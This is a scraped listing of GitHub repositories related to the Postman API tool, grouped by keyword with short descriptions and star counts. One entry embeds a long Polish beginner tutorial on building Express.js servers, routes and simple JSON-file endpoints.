auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy 		Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 0 stars 0 watchers 0 forks

mailing (5 listings) (Back to Top)

auburnhacks/postman
auburnhacks, e mail, mail, mailing 		A simple to use mailing API for AuburnHacks 1 stars 1 watchers 0 forks
auburnhacks/postman-client
auburnhacks, client, e mail, mail, mailing 		A simple to use mailing API for AuburnHacks 1 stars 1 watchers 0 forks
a-bianchi/aws-postman
handling, list, lists, mail, mailing, service 		Mass mailing using the aws ses service and handling mailing lists. 0 stars 0 watchers 0 forks
garethahealy/postman-toppost-counter
auth, list, mail, mailing 		Count how many times someone has posted to a mailing list on GNU Mailman v2 as an author of a thread 0 stars 0 watchers 0 forks
vanirjr/multi.Postman
bulk, mail, mailing, powerful, running, server, servers, system 		a very powerful bulk mailing system for FreeBSD/Linux/Unix servers running Postfix and PHP 0 stars 0 watchers 0 forks

submit (5 listings) (Back to Top)

TakuCoder/postman
desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool 		Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage 3 stars 3 watchers 2 forks
paramountgroup/RESTful-API-with-Nodejs
application, blockchain, chai, city, data, developer, framework, group, host, local, per project, private, program, retrieve, submit 		Udacity Blockchain developer project RESTful Web API with Node.js Framework by Bob Ingram. This program creates a web API using Node.js framework that interacts with my private blockchain and submits and retrieves data using an application like postman or url on localhost port 8000. 0 stars 0 watchers 0 forks
rkaiwang/Python-Blockchain-
action, blockchain, chai, host, local, order, server, submit, transactions, verifications 		This is simple blockchain which you can use to create basic transactions and verifications. It creates a local server to host the blockchain, and uses Postman to submit POST and GET requests in order to create transactions. 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
MaxSprauer/aadl_summer_game
codes, collection, game, library, submit 		Postman collection to batch-submit library codes for the Ann Arbor District Library Summer Game 0 stars 0 watchers 0 forks

fundamentals (5 listings) (Back to Top)

gsivaprabu/Postman-Fundamentals
automat, automate, automated, course, developer, developers, document, fundamentals, issue, million, test, tests 		Postman is used by over 3 million developers across the world. This course will show you the fundamentals of Postman, how you can issue requests, create automated API tests, and even document your API with Postman. 0 stars 0 watchers 1 forks
heth79/postmanfundamentals
description, fundamentals, script 		No description available. 0 stars 0 watchers 0 forks
AbhinavShingate/postman-fundamentals
fundamentals 		Pluralsight Course - Postman Fundamentals 0 stars 0 watchers 0 forks
alisazitec/postman
fundamentals 		postman fundamentals pls 0 stars 0 watchers 0 forks
hwu39/Simple-REST-APIs
action, fundamentals, including, local, machine, test, tested 		This is a simple test to view the fundamentals of RESTful APIs in interaction with MongoDB. The RESTful APIs (including GET, POST, PUT, PATCH, DELETE) can be tested through Postman on a local machine. 0 stars 0 watchers 0 forks

transactions (5 listings) (Back to Top)

HP213/My_first_cryptocurrency
action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user 		Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more 0 stars 0 watchers 0 forks
rkaiwang/Python-Blockchain-
action, blockchain, chai, host, local, order, server, submit, transactions, verifications 		This is simple blockchain which you can use to create basic transactions and verifications. It creates a local server to host the blockchain, and uses Postman to submit POST and GET requests in order to create transactions. 0 stars 0 watchers 0 forks
carmargut/microservice
action, bank, microservice, service, transactions 		Microservice that handles bank transactions 0 stars 0 watchers 0 forks
madaoguteng/postman
action, component, components, distributed, message, solution, transactions 		Postman is a components based on Java, which is solution to help you dealing with distributed transactions. it is Implementation of distributed message dealing and Saga. 0 stars 0 watchers 0 forks
mbMosman/serverside-tasks-with-sub-cat
action, data, database, object, objects, server, servers, serverside, task, tasks, transactions 		Serverside code only for a tasks database with subtasks and categories with Postman Tests. (Postgres/pg with JSON objects & transactions) 0 stars 0 watchers 0 forks

movies (5 listings) (Back to Top)

nristorc/Hypertube
download, movie, movies, site, website 		3rd Web Project - Ecole 42 : Popcorn-time like website - stream and download movies scrapped from YTS and 1337x 3 stars 3 watchers 0 forks
cristina-ferreira/node-express-movies
api blueprint, asyncapi, express, json schema, movie, movies, mysql, node, oauth, openid, sql 		wcs-node-02 node-express sq, mysql, postman 0 stars 0 watchers 0 forks
psn30595/Universal-Ticket-Generation-Service-for-Events
book, booking, cloud, event, form, generation, movie, movies, platform, published, site, sports, ticket, tickets, website 		Developed a ticket booking website which is used to book tickets for the concert, movies and sports events by using various API’s. Created ticket generation API for others and published on the Microsoft Azure cloud platform. Technologies used: C#.NET, Microsoft Azure, Visual Studio 2017, Microsoft SQL Server 2017, Postman. 0 stars 0 watchers 0 forks
saidaZgl/React-movies-Backend
movie, movies, site 		Backend du site React Movies permettant d’afficher les films populaires :movie_camera: 0 stars 0 watchers 0 forks
theunresolvable/movies-oops-d47
movie, movies 		NODE-EXPRESS-BODY-PARSER-POSTMAN-MOVIE-OOPS-ROUTES 0 stars 0 watchers 0 forks

mars (5 listings) (Back to Top)

jsmars/MrPostman
game, mars, sort 		A post-sorting VR game created during GGJ18 1 stars 1 watchers 1 forks
DjordjeVujatovic/marsColony-Project
mars 		0 stars 0 watchers 0 forks
Latika-bhuttan/ExpofMarshal-unmarshal
data, database, example, mars, marshal, retrieve 		this is example for retrieve data from database and marshal - unmarshal in postman 0 stars 0 watchers 0 forks
lmaxim/postman-wsse-auth-script
auth, authentication, mars, script 		Pre-request Script для Postman который формирует заголовок для wsse-authentication в Emarsys 0 stars 0 watchers 0 forks
lmaxim/PostmanWSSEToken
auth, generation, header, mars, script 		Pre-request script for Postman provide auth header generation for API calls in Emarsys 0 stars 0 watchers 0 forks

pointing (5 listings) (Back to Top)

PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
